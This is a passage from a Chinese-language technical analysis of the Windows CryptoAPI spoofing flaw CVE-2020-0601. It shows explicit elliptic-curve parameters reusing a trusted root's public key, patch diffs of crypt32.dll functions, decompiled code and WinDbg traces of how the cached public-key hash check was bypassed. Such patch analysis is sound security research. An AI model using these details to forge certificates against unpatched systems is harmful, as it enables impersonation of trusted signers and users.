Prime:
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
ff:ff:ff:ff
A:
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
ff:ff:ff:fc
B:
00:b3:31:2f:a7:e2:3e:e7:e4:98:8e:05:6b:e3:f8:
2d:19:18:1d:9c:6e:fe:81:41:12:03:14:08:8f:50:
13:87:5a:c6:56:39:8d:8a:2e:d1:9d:2a:85:c8:ed:
d3:ec:2a:ef
Generator (uncompressed):
04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
7a:7d:a6:f4:01:07:ac
Order:
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:c7:63:4d:81:f4:
37:2d:df:58:1a:0d:b2:48:b0:a7:7a:ec:ec:19:6a:
cc:c5:29:73
Cofactor: 1 (0x1)
Seed:
a3:35:92:6a:a3:19:a2:7a:1d:00:89:6a:67:73:a4:
82:7a:cd:ac:73
X509v3 extensions:
X509v3 Subject Key Identifier:
43:EF:70:87:B8:9D:BF:EC:88:19:DC:C6:C4:6B:75:0D:75:34:33:08
X509v3 Authority Key Identifier:
keyid:43:EF:70:87:B8:9D:BF:EC:88:19:DC:C6:C4:6B:75:0D:75:34:33:08
X509v3 Basic Constraints: critical
CA:TRUE
Signature Algorithm: ecdsa-with-SHA256
30:64:02:30:4e:9f:c7:5b:ca:1e:bf:fe:d9:4b:25:db:be:58:
d2:1e:32:e9:a5:a9:da:0c:e5:b1:00:25:82:6b:1e:9d:2c:55:
72:f2:a6:c6:4b:94:e1:f6:2a:b6:20:4b:4c:b9:ef:29:02:30:
32:84:a1:19:a2:ae:35:88:dd:b3:e0:77:fe:de:4f:dc:47:55:
45:42:bf:4e:76:3a:ef:d2:57:ae:45:a2:d6:7f:b0:c0:d1:a8:
6f:91:1d:11:c6:99:51:cd:d2:44:90:76
### 三、证书签名与验证
由于后面会涉及到证书的验证过程，所以在这里简单提一下相关算法及验证流程。
椭圆曲线数字签名算法（ECDSA）
椭圆曲线数字签名算法（ECDSA）是使用椭圆曲线密码（ECC）对数字签名算法（Digital Signature
Algorithm，DSA）的模拟。整个签名过程与DSA类似，只是签名中采用的算法为ECC。ECC的简要原理在前面介绍过，下面来看一下数字签名算法DSA，DSA的安全性基于离散对数求解的困难性，一般用于数字签名和认证。以下为DSA签名算法流程：
1. 发送方使用HASH算法将发送内容加密产生摘要；
2. 发送方使用私钥对摘要进行再次加密得到数字签名；
3. 发送方将原文和数字签名传给接收方；
4. 接收方使用发送方的公钥对签名进行解密得到摘要 ，同时对收到的内容使用同样的HASH算法加密生成摘要；
5. 接收方将解密后的摘要和使用HASH算法加密生成的摘要进行比对，如果两者一致，则说明传输过程的信息没有被破坏和篡改，签名验证成功。
证书链验证
数字证书采用信任链验证。数字证书的信任锚（信任的起点）就是根证书颁发机构。根证书（root
certificate）一般为一个无签名或自签名的证书。证书链的验证一般如下图所示：
1. 取上级证书的公钥，对下级证书的签名进行解密得出下级证书的摘要digest1；
2. 对下级证书使用相同的哈希算法进行信息摘要得到digest2；
3. 判断digest1和digest2是否相等，相等则说明这个下级证书没有被篡改且确实由上级证书签发，下级证书验证通过；
4. 依次对各个相邻级别证书实施1～3步骤，直到根证书（或者可信任锚点[trusted anchor]，此时已经证明这条trust chain上的证书都是正确且可信任的；
## 补丁对比
补丁对比可以帮助我们快速定位到关键函数或关键位置，可使用 bindiff
对补丁前后的crypt32.dll进行比对，就不截图了。本次补丁主要修改了ChainGetSubjectStatus函数、CCertObjectCache::FindKnownStoreFlags函数及CertDllVerifyMicrosoftRootCertificateChainPolicy函数，并添加了一些函数，如ChainComparePublicKeyParametersAndByte函数、IsRootEntryMatch函数、ChainIsNullOrNoParameters函数、CveEventWrite函数（导入函数）等等。具体情况看下面的对比吧：
ChainGetSubjectStatus函数
ChainGetSubjectStatus函数中增加了对ChainComparePublicKeyParametersAndBytes函数的调用，该函数是补丁中新增的函数。补丁前的代码看上去只比较了两处0x10大小的数据，前提是v35中设置了标志2。
v35 = *(_DWORD *)(v8 + 0x14);
if ( v35 & 2 )
{
if ( !memcmp((const void *)(v8 + 0xF8), (const void *)(v37 + 0xE8), 0x10u) )
{
LABEL_11:
v16 = (char *)a4 + 4;
goto LABEL_12;
}
*(_DWORD *)a4 |= 8u;
}
补丁后的代码在该流程中加入了ChainComparePublicKeyParametersAndBytes函数，如果该函数返回值大于0，则有可能执行
ChainLogMSRC54294Error函数，在该函数内部会调用CveEventWrite来将检测到的对CVE-2020-0601漏洞的利用情况写入Windows事件日志，所以后续可以从ChainGetSubjectStatus这个函数开始分析。
v36 = ChainComparePublicKeyParametersAndBytes(
*(int **)(v9 + 0x108),
*(_DWORD *)(v9 + 0x10C),
(int *)(*((_DWORD *)pvIssuer + 3) + 0x3C),
*((_DWORD *)pvIssuer + 3) + 0x44);
v26 = v36 == 0;
if ( v36 > 0 )
{
if ( CryptVerifyCertificateSignatureEx(0, 1u, 2u, pvSubject, 2u, pvIssuer, 0, 0) )
goto LABEL_40;
ChainLogMSRC54294Error((PCCERT_CONTEXT)pvIssuer, *(unsigned int **)(v9 + 0x108));
v26 = v36 == 0;
}
在新增的ChainComparePublicKeyParametersAndBytes函数中有两次比对，分别是对a2、a4相应结构的比对和对a1、a3相应结构的比对。这很可能增加了对ECC算法参数的比较。
signed int __fastcall ChainComparePublicKeyParametersAndBytes(int *a1, int a2, int *a3, int a4)
{
...
v9 = 0;
v10 = 0;
v4 = a1;
if ( a2
&& a4
&& *(_DWORD *)a2 == *(_DWORD *)a4
&& *(_DWORD *)a2
&& !memcmp(*(const void **)(a2 + 4), *(const void **)(a4 + 4), *(_DWORD *)a2) )
{
v5 = 1;
if ( !v4 )
v4 = &v9;
v6 = a3;
if ( !a3 )
v6 = &v9;
if ( *v4 == *v6 )
{
if ( !*v4 || !memcmp((const void *)v4[1], (const void *)v6[1], *v4) )
v5 = 0;
}
CCertObjectCache::FindKnownStoreFlags函数
CCertObjectCache::FindKnownStoreFlags函数中也引入了ChainComparePublicKeyParametersAndByte函数。这里函数的四个参数就比较直观了，补丁前只比较了两个结构体偏移0x44处的结构，加入该函数后，增加了对结构体偏移0x3c处的结构（后面证实了这个结构体偏移0x3c处为算法参数的_CRYPTOAPI_BLOB结构）的比较。
if ( v20 != v19 )
{
if ( *(_DWORD *)(v20 + 0x44) != *(_DWORD *)(v19 + 0x44)
|| (v4 = v17, memcmp(*(const void **)(v20 + 0x48), *(const void **)(v19 + 0x48), *(_DWORD *)(v20 + 0x44))) )
{
if ( !_InterlockedExchangeAdd((volatile signed __int32 *)i, 0xFFFFFFFF) )
{
v21 = *(_DWORD *)(i + 4);
v22 = *(void (__thiscall **)(_DWORD, _DWORD))(v21 + 4);
if ( v19 != v18 )
{
if ( ChainComparePublicKeyParametersAndBytes((int *)(v19 + 0x3C), v19 + 0x44, (int *)(v18 + 0x3C), v18 + 0x44) )
{
if ( !_InterlockedExchangeAdd((volatile signed __int32 *)v6, 0xFFFFFFFF) )
{
v20 = *(_DWORD *)(v6 + 4);
v21 = *(void (__thiscall **)(_DWORD, _DW
CertDllVerifyMicrosoftRootCertificateChainPolicy函数
在CertDllVerifyMicrosoftRootCertificateChainPolicy函数中引入了IsRootEntryMatch函数，补丁前只比较了公钥哈希与硬编码数据。
if ( !CryptHashCertificate2(
L"SHA256",
0,
0,
v8->SubjectPublicKeyInfo.PublicKey.pbData,
v8->SubjectPublicKeyInfo.PublicKey.cbData,
&pbComputedHash,
&pcbComputedHash)
|| pcbComputedHash != 0x20 )
{
LABEL_19:
v13 = 0x800B0109;
v14 = v22 - 1;
goto LABEL_16;
}
if ( v6 & 0x20000 )
{
if ( v6 & 0x10000 )
{
v13 = 0x80070057;
goto LABEL_15;
}
v16 = dword_5CF09EF8;
v17 = 0;
while ( memcmp(v16, &pbComputedHash, 0x20u) )
新加入的IsRootEntryMatch函数的第一个参数为硬编码数据，第二个参数为通过证书公钥计算出的SHA256散列值，第三个参数为SubjectPublicKeyInfo.Algorithm.Parameters结构。
v9 = (int)&v8->pCertInfo->SubjectPublicKeyInfo.Algorithm.Parameters;
if ( v6 & 0x20000 )
{
if ( v6 & 0x10000 )
{
v10 = 0x80070057;
LABEL_34:
v14 = 0;
goto LABEL_19;
}
pcbComputedHash = 0;
v11 = &off_5CF03210;
v22 = &off_5CF03210;
while ( !IsRootEntryMatch((int)v11, (int)&pbComputedHash, v9) )
在IsRootEntryMatch函数中首先比较a1、a2指向的0x20大小的散列值是否相同，不同的话返回0。然后比较算法参数是否相同，比较长度为*(_DWORD
*)a3，成功的话返回1。
signed int __fastcall IsRootEntryMatch(int a1, int a2, int a3)
{
int v3; // esi
v3 = 0;
while ( *(_DWORD *)(a1 + 4 * v3 + 4) == *(_DWORD *)(a2 + 4 * v3) )
{
if ( ++v3 == 8 )
{
if ( **(_DWORD **)a1 == *(_DWORD *)a3
&& !memcmp(*(const void **)(*(_DWORD *)a1 + 4), *(const void **)(a3 + 4), *(_DWORD *)a3) )
{
return 1;
}
return 0;
}
}
return 0;
}
## 漏洞分析
下面从ChainGetSubjectStatus函数开始分析，首先ChainGetSubjectStatus函数中会通过第一个和第三个参数获取pvIssuer和pvSubject，pvSubject和pvIssuer分别存放了证书及其签发者证书的CERT_CONTEXT结构，其中
pbCertEncoded指向了证书编码的缓冲区，cbCertEncoded为其长度。
0:000> dt cert_context 594980
combase!CERT_CONTEXT
+0x000 dwCertEncodingType : 1
+0x004 pbCertEncoded : 0x00568408 "0???"
+0x008 cbCertEncoded : 0x299
+0x00c pCertInfo : 0x00568b98 _CERT_INFO
+0x010 hCertStore : 0x0055ee70 Void
CERT_CONTEXT结构偏移0xc处为包含该证书信息的CERT_INFO结构，这个结构中的内容之前讲的证书结构相吻合。
0:000> dx -r1 ((combase!_CERT_INFO *)0x568b98)
((combase!_CERT_INFO *)0x568b98) : 0x568b98 [Type: _CERT_INFO *]
[+0x000] dwVersion : 0x2 [Type: unsigned long]
[+0x004] SerialNumber [Type: _CRYPTOAPI_BLOB]
[+0x00c] SignatureAlgorithm [Type: _CRYPT_ALGORITHM_IDENTIFIER]
[+0x018] Issuer [Type: _CRYPTOAPI_BLOB]
[+0x020] NotBefore [Type: _FILETIME]
[+0x028] NotAfter [Type: _FILETIME]
[+0x030] Subject [Type: _CRYPTOAPI_BLOB]
[+0x038] SubjectPublicKeyInfo [Type: _CERT_PUBLIC_KEY_INFO]
[+0x050] IssuerUniqueId [Type: _CRYPT_BIT_BLOB]
[+0x05c] SubjectUniqueId [Type: _CRYPT_BIT_BLOB]
[+0x068] cExtension : 0x4 [Type: unsigned long]
[+0x06c] rgExtension : 0x568c20 [Type: _CERT_EXTENSION *]
然后函数会调用ChainGetMatchInfoStatus函数判断证书的签发实体是否正确，验证证书的签发者字段（Issuer）和其签发者证书的证书主体字段（Subject
）是否相同。其中，Issuer 和 Subject 均为CRYPTOAPI_BLOB结构，包含cbData（pbData的长度） 和
pbData字段（指向缓冲区）：
if ( *(_DWORD *)(v12 + 0x18) != *(_DWORD *)(v7 + 0x30)
|| !*(_DWORD *)(v12 + 0x18)
|| memcmp(*(const void **)(v12 + 0x1C), *(const void **)(v7 + 0x34), *(_DWORD *)(v7 + 0x30)) )
{
v9 = 2;
goto LABEL_8;
}
例：Microsoft ECC Product Root Certificate Authority 2018证书的证书所有者信息的编码数据。
0:000> dx -r1 (*((combase!_CRYPTOAPI_BLOB *)0x568bb0))
(*((combase!_CRYPTOAPI_BLOB *)0x568bb0)) [Type: _CRYPTOAPI_BLOB]
[+0x000] cbData : 0x97 [Type: unsigned long]
[+0x004] pbData : 0x568437 : 0x30 [Type: unsigned char *]
0:000> db 0x568437 l97
00568437 30 81 94 31 0b 30 09 06-03 55 04 06 13 02 55 53 0..1.0 ..U....US
00568447 31 13 30 11 06 03 55 04-08 0c 0a 57 61 73 68 69 1.0...U....Washi
00568457 6e 67 74 6f 6e 31 10 30-0e 06 03 55 04 07 0c 07 ngton1.0...U....
00568467 52 65 64 6d 6f 6e 64 31-1e 30 1c 06 03 55 04 0a Redmond1.0...U..
00568477 0c 15 4d 69 63 72 6f 73-6f 66 74 20 43 6f 72 70 ..Microsoft Corp
00568487 6f 72 61 74 69 6f 6e 31-3e 30 3c 06 03 55 04 03 oration1>0<..U..
00568497 0c 35 4d 69 63 72 6f 73-6f 66 74 20 45 43 43 20 .5Microsoft ECC
005684a7 50 72 6f 64 75 63 74 20-52 6f 6f 74 20 43 65 72 Product Root Cer
005684b7 74 69 66 69 63 61 74 65-20 41 75 74 68 6f 72 69 tificate Authori
005684c7 74 79 20 32 30 31 38 ty 2018
由于第三个参数所指向的CCertObject结构体偏移0x14处的flag被初始化为0，所以第一次调用ChainGetSubjectStatus函数时不会去执行memcmp那段流程。
v8 = *(_DWORD *)a3;
v34 = *(_DWORD *)(v8 + 0x14);
if ( v34 & 2 )
{
if ( !memcmp((const void *)(v8 + 0xF8), v36 + 0x3A, 0x10u) )
{
LABEL_11:
v17 = (_DWORD *)((char *)a4 + 4);
goto LABEL_12;
随后程序会调用CryptVerifyCertificateSignatureEx函数去验证证书签名。首先通过CryptDecodeObjectEx函数解码证书的pbCertEncoded结构获取StructInfo（长度为0x88），该结构中存放证书元数据、算法OID以及编码后的证书签名，其中OID
1.2.840.10045.4.3.2 代表 ecdsa-with-SHA2，这里同时指定了哈希算法SHA256和签名算法ECDSA。虽然原证书中使用的算法为ecdsa-with-SHA384，而伪造证书使用的是
ecdsa-with-SHA2，但这并不影响后续验证。
0:000> dd 005e9f48 l88/4
005e9f48 0000021f 0056840c 00568e80 00000000
005e9f58 00000000 00000067 005e9f68 00000000
005e9f68 30026530 d3a62109 ef573e49 c8247932
005e9f78 7adc3eb3 7b43c0e5 0761b4be d1e40fad
005e9f88 38d9607b ab746d99 bcbdd35e 48983ede
005e9f98 a1e9c699 ee003102 33beddd1 dfce2156
005e9fa8 d6d55979 680ee477 72cdba97 71805f78
005e9fb8 cd2b929f 3d40d072 fcc9ccac 518420b1
005e9fc8 b42c99a0 baacc899
0:000> db 00568e80
00568e80 31 2e 32 2e 38 34 30 2e-31 30 30 34 35 2e 34 2e 1.2.840.10045.4.
00568e90 33 2e 32 00 ab ab ab ab-ab ab ab ab 00 00 00 00 3.2.............
然后通过CryptFindOIDInfo函数获取散列算法相关的CRYPT_OID_INFO结构，通过CryptHashCertificate2计算证书的散列值，大小为0x20。
0:000> gu
eax=00000001 ebx=005e9f48 ecx=6e81a50e edx=00000001 esi=005e9ff8 edi=00000000
eip=74fe73ab esp=00cf85dc ebp=00cf8608 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
CRYPT32!I_CryptCNGVerifyCertificateSignedContent+0xcf:
74fe73ab 85c0 test eax,eax
0:000> dd 005e9ff8
005e9ff8 aa54c5ce 8ef563af 0ccb1ef9 12ce25a1
005ea008 6510dbbc 96dbbb9b 1aba9a30 532b2e50
然后通过CryptImportPublicKeyInfo函数获取签发者证书的公钥句柄，通过I_CertAllocAndDecodeObject函数以及PkiAsn1ReverseBytes函数解码及调整获取证书中的签名数据，最终调用BCryptVerifySignature函数验证散列值和签名是否匹配。这一流程符合证书的验证流程，即获取证书元数据和数字签名，使用同样的Hash算法计算证书元数据的散列值，使用
Issuer 的公钥对数字签名进行解密，得到解密后的散列值。比较这两个散列值是否相同，相同则通过验证。
memcpy(&v13[v10 - *(_DWORD *)v8], *(const void **)(v8 + 4), *(_DWORD *)v8);
v7 = pbSignature;
memcpy(&pbSignature[cbSignature - *(_DWORD *)(v8 + 8)], *(const void **)(v8 + 12), *(_DWORD *)(v8 + 8));
v9 = BCryptVerifySignature(hKey, 0, pbHash, cbHash, v7, cbSignature, 0);
如果签名验证成功，就将v13[0x3a]（其实就是v13偏移0xE8）起始的0x10字节的数据复制到v14处（v12偏移0xF8）。经过溯源发现，v12来自*(DWORD
*)a3，也就是证书的CCertObject结构，v13来自*(DWORD
*)a1，也就是签发者证书的CCertObject结构。而通过这两个偏移进行的复制的位置恰好是当证书的CCertObject结构体偏移0x14处的flag中0x2被设置时要比较的位置。这个0x10长度的散列很容易让人联想到MD5，而且这个是从签发者证书结构向证书结构中复制的数据，那会不会就是传说中的证书公钥散列值，这个还需在后面进行分析。
if ( v11 )
{
v12 = v33;
CCertObject::SetWeakHash(v33, v27);
v13 = v36;
if ( !(v34 & 1) || (memcmp((char *)v12 + 0xF8, v36 + 0x3A, 0x10u) ? (v19 = -2) : (v19 = v34), !(v19 & 1)) )
{
v14 = (_DWORD *)((char *)v12 + 0xF8);
v29 = 0x10;
v30 = v14;
v15 = (char *)pvSubject;
*v14 = v13[0x3A];
v14[1] = v13[0x3B];
v14[2] = v13[0x3C];
v14[3] = v13[0x3D];
SetProperty(
0x18u,
v15 != 0 ? (unsigned int)(v15 - 48) : 0,
(struct _CONTEXT_ELEMENT *)0x80000000,
(unsigned int)&v29,
0,
v22,
(int)v24);
v12 = v33;
}
*((_DWORD *)v12 + 5) |= 3u;
v6 = v37;
goto LABEL_11;
}
随后调用SetProperty函数为证书添加属性，然后将偏移0x14处的flag设置为3，这个标志也是后面要讨论的。证书的属性链在X结构体偏移 0x2c
处（这个结构体还没分析到先叫它X吧），也就是CERT_CONTEXT结构偏移 -4
的位置。每个属性结构的首4字节表明不同的属性，偏移0x8和0xc处分别为该属性的内容及长度。偏移0x10和0x14处分别为该属性结构的前向指针和后向指针。
0:000> dd ecx
00568eb0 00000001 00000000 00000000 00000003
00568ec0 00568eb0 0055ee70 00000000 00568de0
00568ed0 0055ee70 00000000 00000000 00594788
00568ee0 00000001 00568408 00000299 00568b98
00568ef0 0055ee70 abababab abababab 00000000
0:000> dd 00594788
00594788 0000005c 80000000 0056b490 00000004
00594798 005946d8 00000000 abababab abababab
0:000> dd 005946d8
005946d8 00000019 80000000 005946b0 00000010
005946e8 00594650 00594788 abababab abababab
0:000> dd 00594650
00594650 00000014 80000000 005942d0 00000014
00594660 005942a0 005946d8 abababab abababab
0:000> dd 005942a0
005942a0 0000000f 80000000 00594268 00000020
005942b0 00593ef0 00594650 abababab abababab
0:000> dd 00593ef0
00593ef0 00000004 80000000 0058d278 00000010
00593f00 00000000 005942a0 abababab abababab
注意标志为0x19的属性，其大小也为0x10。经过对比发现，该属性的内容和a3指向的结构体偏移0xE8处0x10大小的数据相同。而本次SetProperty函数要设置的属性标志为0x18，对应于a3指向的结构体偏移0xF8。
0:000> dd 5946b0
005946b0 2848569c b80f667d 65cb78a4 11e4da77
005946c0 abababab abababab 00000000 00000000
0:000> dd 005940d8
005940d8 00000001 00000002 0056b7a8 00000004
005940e8 00000004 00000000 00000002 00000000
005940f8 00000000 00000000 00000003 00000000
00594108 00002000 00000000 00000000 00000000
00594118 00000000 00000000 00000000 00000000
00594128 00568ee0 00000000 00000000 00000000
0:000> dd 005940d8+e8
005941c0 2848569c b80f667d 65cb78a4 11e4da77
005941d0 1e7d9e7d 1da15d8d 074bc8c0 cbedec57
现在回顾一下，签名验证成功后，程序将签发者证书CCertObject结构偏移0xE8处的内容复制给证书CCertObject结构偏移0xF8处，并用此值设置了证书的0x18属性，并将证书CCertObject结构偏移0x14处的flag设置为3。后面我们又验证了证书CCertObject结构偏移0xE8处的内容和标志为0x19的属性是一致的，这说明每个证书都有0x19属性，程序先给签发者证书设置了0x19属性，然后同步0xE8处内容（也有可能先设置0xE8处内容，再设置0x19属性），然后又将该内容复制给其签发证书（通过验证）的CCertObject结构的0xF8处。如果ChainGetSubjectStatus函数再次被调用，且a3还是指向这个证书的CCertObject结构，由于其偏移0x14处的flag已经设置了2这个标志位，所以肯定会执行
memcmp((const void )((DWORD *)a3 + 0xF8), *(DWORD *)a1 + 0xE8,
0x10u)，一旦比较成功，函数就会成功返回。
下面我们来看一下证书结构体偏移0xE8处存放的数据从何而来。在CCertObject::CCertObject函数中会初始化CCertObject结构体，后面会执行如下代码，证书的属性就是在这里初始化的。下面这段代码通过CertGetCertificateContextProperty函数获取对应的属性值放进结构体相应的偏移处。这里可以清楚的看到属性0x18、属性0x19以及属性0x14和结构体0xF8、0xE8以及0xE0偏移的对应关系。另外，如果存在0x18属性，就会将结构体偏移0x14处的flag设置1。所以推测flag
2 应该是证书的签名验证成功的标志。
if ( !CertGetCertificateContextProperty(pCertContext, 0x14u, v12, (DWORD *)v7 + 0x38) )
goto LABEL_88;
pcbData = 16;
if ( !CertGetCertificateContextProperty(pCertContext, 0x19u, (char *)v7 + 0xE8, &pcbData) || pcbData != 0x10 )
goto LABEL_88;
pcbData = 16;
if ( CertGetCertificateContextProperty(pCertContext, 0x18u, (char *)v7 + 0xF8, &pcbData) && pcbData == 0x10 )
*((_DWORD *)v7 + 5) |= 1u;
CertGetCertificateContextProperty函数最终会调用GetProperty函数来获取对应的属性，该函数会调用DefaultHashCertificate函数来计算相应数据的散列值。如果要获取的属性标志为0x19（v10），则v25被设置为指向证书公钥的缓冲区，v24被设置为公钥长度，计算出的散列值及其长度分别存放在
pbComputedHash和pcbComputedHash中。由于v10为标志0x19，所以该函数第一个参数为0x8003。
else
{
cbEncoded = 0;
v26 = (struct _RTL_CRITICAL_SECTION *)DefaultHashCertificate(
(v10 == 3) + 0x8003,
(int)v25,
v24,
&pbComputedHash,
&pcbComputedHash);
v7 = pv;
}
goto LABEL_56;
下面为DefaultHashCertificate函数的流程，如果第一个参数为0x8003，则使用MD5算法计算a2指向数据的散列值，并存放在a4指向的内存中。
v10 = a2;
......
if ( a1 == 0x8003 )
{
v7 = 0x10;
if ( v6 >= 0x10 )
{
MD5Init(&v11);
if ( a3 )
MD5Update(&v11, v10, a3);
MD5Final(&v11);
*a4 = v12;
a4[1] = v13;
v9 = a4 + 2;
*v9 = v14;
v9[1] = v15;
v5 = a4;
}
}
然后通过SetProperty函数设置其0x19属性（公钥散列值），然后再次调用GetProperty将散列值复制到CCertObject结构偏移0xE8处。我们可以来验证一下，使用python计算系统Microsoft
ECC Product Root Certificate Authority
2018证书公钥的MD5，和之前复制的数据相比较，再次验证了证书CCertObject结构偏移0xE8处存放的就是该证书公钥MD5值。
>>> import hashlib
>>> a = "\x04\xc7\x11\x16\x2a\x76\x1d\x56\x8e\xbe\xb9\x62\x65\xd4\xc3\xce\xb4\xf0\xc3\x30\xec\x8f\x6d\xd7\x6e\x39\xbc\xc8\x49\xab\xab\xb8\xe3\x43\x78\xd5\x81\x06\x5d\xef\xc7\x7d\x9f\xce\xd6\xb3\x90\x75\xde\x0c\xb0\x90\xde\x23\xba\xc8\xd1\x3e\x67\xe0\x19\xa9\x1b\x86\x31\x1e\x5f\x34\x2d\xee\x17\xfd\x15\xfb\x7e\x27\x8a\x32\xa1\xea\xc9\x8f\xc9\x7e\x18\xcb\x2f\x3b\x2c\x48\x7a\x7d\xa6\xf4\x01\x07\xac"
>>> hex(len(a))
'0x61'
>>> hashlib.md5(a).hexdigest()
'7d9e7d1e8d5da11dc0c84b0757ecedcb'
0:000> db 005941d0 l10
005941d0 7d 9e 7d 1e 8d 5d a1 1d-c0 c8 4b 07 57 ec ed cb }.}..]....K.W...
接下来就是0x14偏移处的flag了，这个值还是在CCertObject::CCertObject中被初始化为0，然后在ChainGetSubjectStatus中验证了证书签名并且设置了0x18属性之后被设置为了3。在后续流程中，由于标志2已被设置，所以在CChainPathObject::FindAndAddIssuers函数中跳出了原来的循环，之后又继续调用了CChainPathObject::FindAndAddIssuersByMatchType函数。
while ( 1 )
{
v8 = *(int *)((char *)&dword_5CF10DBC + v7);
if ( (1 << (v8 - 1)) & v10 )
{
if ( !CChainPathObject::FindAndAddIssuersByMatchType(this, v8, a2, a3, a4) )
return v5;
if ( *(_DWORD *)(*((_DWORD *)this + 0x1A) + 4) && *(_BYTE *)(v6 + 0x14) & 2 )
break;
}
v7 = v11 + 4;
v11 = v7;
if ( v7 >= 0xC )
return 1;
}
if ( CChainPathObject::FindAndAddIssuersByMatchType(this, 4u, a2, a3, a4) )
return 1;
然后又调用CChainPathObject::FindAndAddIssuersFromStoreByMatchType函数，使用FindElementInCollectionStore函数搜索与之前比较的公钥散列值相匹配的系统信任证书（返回X结构）。
0:000> dd eax
005ea490 00000004 00000000 00010000 00000001
005ea4a0 00579240 005722d0 00000000 00000000
005ea4b0 005763f0 00000000 00000000 005ea468
005ea4c0 00000001 00579380 00000327 00579b40
005ea4d0 005722d0 abababab abababab 00000000
005ea4e0 00000000 00000000 79bed629 0000e6a4
005ea4f0 005ea158 0054a9d8 feeefeee feeefeee
005ea500 61bdd632 1800e6ab 00000003 005ea510
然后通过CCertObject::CCertObject为找到的根证书建立CCertObject结构，然后调用CCertIssuerList::AddIssuer函数，最终会再次调用ChainGetSubjectStatus函数，a1和a3参数分别为系统信任证书和伪造证书签发的证书的结构。由于标志被设置，所以只比较了系统信任证书和伪造证书的公钥散列值（从伪造证书CCertObject结构偏移0xE8处复制到用户证书CCertObject结构偏移0xF8处的数据），如果一样就成功返回。这个时候再来看一眼补丁，新增的ChainComparePublicKeyParametersAndBytes函数有四个参数，从第三、四个参数可以看出，这两个分别为系统信任证书的算法参数（Parameters）和公钥（PublicKey）结构。那么相应的前两个参数应该就是要比较的自签名证书（伪造证书）的算法参数和公钥结构了。
//ChainGetSubjectStatus
v37 = ChainComparePublicKeyParametersAndBytes(
*(int **)(v9 + 0x108),
*(_DWORD *)(v9 + 0x10C),
(int *)(*((_DWORD *)pvIssuer + 3) + 0x3C),
*((_DWORD *)pvIssuer + 3) + 0x44);
v26 = v37 == 0;
---------------------------------------------------------------------------------------------------------- 0:000> dt cert_context 05ea4c0
combase!CERT_CONTEXT
+0x000 dwCertEncodingType : 1
+0x004 pbCertEncoded : 0x00579380 "0???"
+0x008 cbCertEncoded : 0x327
+0x00c pCertInfo : 0x00579b40 _CERT_INFO
+0x010 hCertStore : 0x005722d0 Void
0:000> dx -r1 ((combase!_CERT_INFO *)0x579b40)
((combase!_CERT_INFO *)0x579b40) : 0x579b40 [Type: _CERT_INFO *]
[+0x000] dwVersion : 0x2 [Type: unsigned long]
[+0x004] SerialNumber [Type: _CRYPTOAPI_BLOB]
[+0x00c] SignatureAlgorithm [Type: _CRYPT_ALGORITHM_IDENTIFIER]
[+0x018] Issuer [Type: _CRYPTOAPI_BLOB]
[+0x020] NotBefore [Type: _FILETIME]
[+0x028] NotAfter [Type: _FILETIME]
[+0x030] Subject [Type: _CRYPTOAPI_BLOB]
[+0x038] SubjectPublicKeyInfo [Type: _CERT_PUBLIC_KEY_INFO]
[+0x050] IssuerUniqueId [Type: _CRYPT_BIT_BLOB]
[+0x05c] SubjectUniqueId [Type: _CRYPT_BIT_BLOB]
[+0x068] cExtension : 0x5 [Type: unsigned long]
[+0x06c] rgExtension : 0x579bc0 [Type: _CERT_EXTENSION *]
0:000> dx -r1 (*((combase!_CERT_PUBLIC_KEY_INFO *)0x579b78))
(*((combase!_CERT_PUBLIC_KEY_INFO *)0x579b78)) [Type: _CERT_PUBLIC_KEY_INFO]
[+0x000] Algorithm [Type: _CRYPT_ALGORITHM_IDENTIFIER]
[+0x00c] PublicKey [Type: _CRYPT_BIT_BLOB]
0:000> dx -r1 (*((combase!_CRYPT_ALGORITHM_IDENTIFIER *)0x579b78))
(*((combase!_CRYPT_ALGORITHM_IDENTIFIER *)0x579b78)) [Type: _CRYPT_ALGORITHM_IDENTIFIER]
[+0x000] pszObjId : 0x568f47 : "1.2.840.10045.2.1" [Type: char *]
[+0x004] Parameters [Type: _CRYPTOAPI_BLOB]
在第一次调用ChainGetSubjectStatus函数时，如果下级证书的签名验证成功，会分别申请两块内存来存放其签发者证书的算法参数（如果参数存在的话）和公钥数据的结构及数据，即前4个字节为数据的长度，紧接着是指向缓存区的指针。然后分别放在该证书CCertObject结构偏移0x108和0x10C处，以便后续进行比较。
v17 = PkiZeroAlloc(*(_DWORD *)(v16 + 0x3C) + 8);
*(_DWORD *)(v9 + 0x108) = v17;
if ( v17 )
{
v18 = v42;
*v17 = *(_DWORD *)(v42 + 0x3C);
v17[1] = v17 + 2;
memcpy(v17 + 2, *(const void **)(v18 + 0x40), *(_DWORD *)(v18 + 0x3C));
LABEL_30:
v19 = PkiZeroAlloc(*(_DWORD *)(v42 + 0x44) + 0xC);
*(_DWORD *)(v9 + 0x10C) = v19;
if ( v19 )
{
v20 = v42;
*v19 = *(_DWORD *)(v42 + 68);
v19[1] = v19 + 3;
memcpy(v19 + 3, *(const void **)(v20 + 0x48), *(_DWORD *)(v20 + 0x44));
然后在新增的ChainComparePublicKeyParametersAndBytes函数中分别比较了两个证书的公钥、算法参数以及它们的长度，如果成功的话就返回0。
signed int __fastcall ChainComparePublicKeyParametersAndBytes(int *a1, int a2, int *a3, int a4)
{
...
v9 = 0;
v10 = 0;
v4 = a1;
if ( a2
&& a4
&& *(_DWORD *)a2 == *(_DWORD *)a4
